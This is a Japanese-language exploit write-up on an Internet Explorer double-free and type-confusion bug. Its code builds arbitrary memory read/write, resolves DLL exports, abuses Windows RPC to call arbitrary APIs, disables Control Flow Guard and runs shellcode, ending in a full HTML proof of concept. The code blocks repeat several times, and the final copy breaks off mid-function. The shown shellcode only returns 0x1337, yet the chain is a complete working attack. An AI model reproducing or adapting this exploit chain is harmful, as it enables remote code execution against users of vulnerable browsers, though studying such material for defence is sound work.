Arbitrary Memory R/W
var abf = new ArrayBuffer(0x20010) var fake = new ArrayBuffer(0x100) function alloc1() { // allocate 0x20010 var view = new DataView(abf) var str = '' for (var index = 4; index < abf.byteLength - 2; index += 2) str += '%u' + pad0(view.getUint16(index, true).toString(16)) var result = document.createAttribute('alloc1') result.nodeValue = unescape(str) return result } function alloc2() { // allocate 0x20010 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) var reseult = document.createAttribute('alloc2') result.nodeValue = dic1.items() return result }
var abf = new ArrayBuffer(0x20010) var fake = new ArrayBuffer(0x100) function alloc1() { // allocate 0x20010 var view = new DataView(abf) var str = '' for (var index = 4; index < abf.byteLength - 2; index += 2) str += '%u' + pad0(view.getUint16(index, true).toString(16)) var result = document.createAttribute('alloc1') result.nodeValue = unescape(str) return result } function alloc2() { // allocate 0x20010 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) var reseult = document.createAttribute('alloc2') result.nodeValue = dic1.items() return result }
var abf = new ArrayBuffer(0x20010) var fake = new ArrayBuffer(0x100) function alloc1() { // allocate 0x20010 var view = new DataView(abf) var str = '' for (var index = 4; index < abf.byteLength - 2; index += 2) str += '%u' + pad0(view.getUint16(index, true).toString(16)) var result = document.createAttribute('alloc1') result.nodeValue = unescape(str) return result } function alloc2() { // allocate 0x20010 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) var reseult = document.createAttribute('alloc2') result.nodeValue = dic1.items() return result }
ダブルフリーバグにより、alloc1とalloc2関数は異なる種類のオブジェクトを使用しますが、同じメモリ仮想アドレス空間にデータを割り当てることになるため、Type Confusionの条件を得ることができます。
追加の攻撃コードを実行するために、攻撃者はバッファアドレス0x0、サイズ0x7FFFFFFFを持つFake ArrayBufferを作成した後、プロセスのユーザー空間全体のメモリを読み書きできるDataViewオブジェクトを作成します。
var dv = new DataView(fake_unlimit_arraybuffer) function read(addr, size) { switch (size) { case 8: return dv.getUint8(addr) case 16: return dv.getUint16(addr, true) case 32: return dv.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return dv.setUint8(addr, value) case 16: return dv.setUint16(addr, value, true) case 32: return dv.setUint32(addr, value, true) } } write(0x41414141, 0x42424242, 32) /* First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242 eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Js::DataView::SetValue<int,int *>+0x3a: 663c5565 890411 mov dword ptr [ecx+edx],eax ds:0023:41414141=???????? */
var dv = new DataView(fake_unlimit_arraybuffer) function read(addr, size) { switch (size) { case 8: return dv.getUint8(addr) case 16: return dv.getUint16(addr, true) case 32: return dv.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return dv.setUint8(addr, value) case 16: return dv.setUint16(addr, value, true) case 32: return dv.setUint32(addr, value, true) } } write(0x41414141, 0x42424242, 32) /* First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242 eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Js::DataView::SetValue<int,int *>+0x3a: 663c5565 890411 mov dword ptr [ecx+edx],eax ds:0023:41414141=???????? */
var dv = new DataView(fake_unlimit_arraybuffer) function read(addr, size) { switch (size) { case 8: return dv.getUint8(addr) case 16: return dv.getUint16(addr, true) case 32: return dv.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return dv.setUint8(addr, value) case 16: return dv.setUint16(addr, value, true) case 32: return dv.setUint32(addr, value, true) } } write(0x41414141, 0x42424242, 32) /* First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242 eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Js::DataView::SetValue<int,int *>+0x3a: 663c5565 890411 mov dword ptr [ecx+edx],eax ds:0023:41414141=???????? */
DataViewの作成後、read/writeユーティリティ関数を利用して任意のAPIを呼び出せるように追加の作業を進めます。
Arbitrary Function Call
function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && findPEbase(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function findPEbase(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) }
function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && findPEbase(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function findPEbase(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) }
function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && findPEbase(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function findPEbase(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) }
プロセスプロセス全体のメモリにアクセス可能な状況下で、攻撃者は上記のようにユーティリティ関数を実装してプロセス内部の状況を分析し、任意で必要なAPIを呼び出せるように準備します。
今回の攻撃コードの場合、Control Flow Guardが適用されている場合は、該当の保護手法をバイパスし、攻撃者は任意のAPI呼び出しのためにWindowsオペレーティングシステムが提供するRPCメカニズムを悪用します。

上記のようにメモリを構成することで、攻撃者はrpcrt4!NdrServerCall2(...)関数を皮切りに、rpcrt4!Invoke(...)関数を通じて、任意のAPIに自由に引数を渡して呼び出すことができました。
CFastDOM::ValidateCall、Control Flow Guardなどの保護手法を無効化し、シェルコードを実行するPoC攻撃コードは次の通りです。
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < 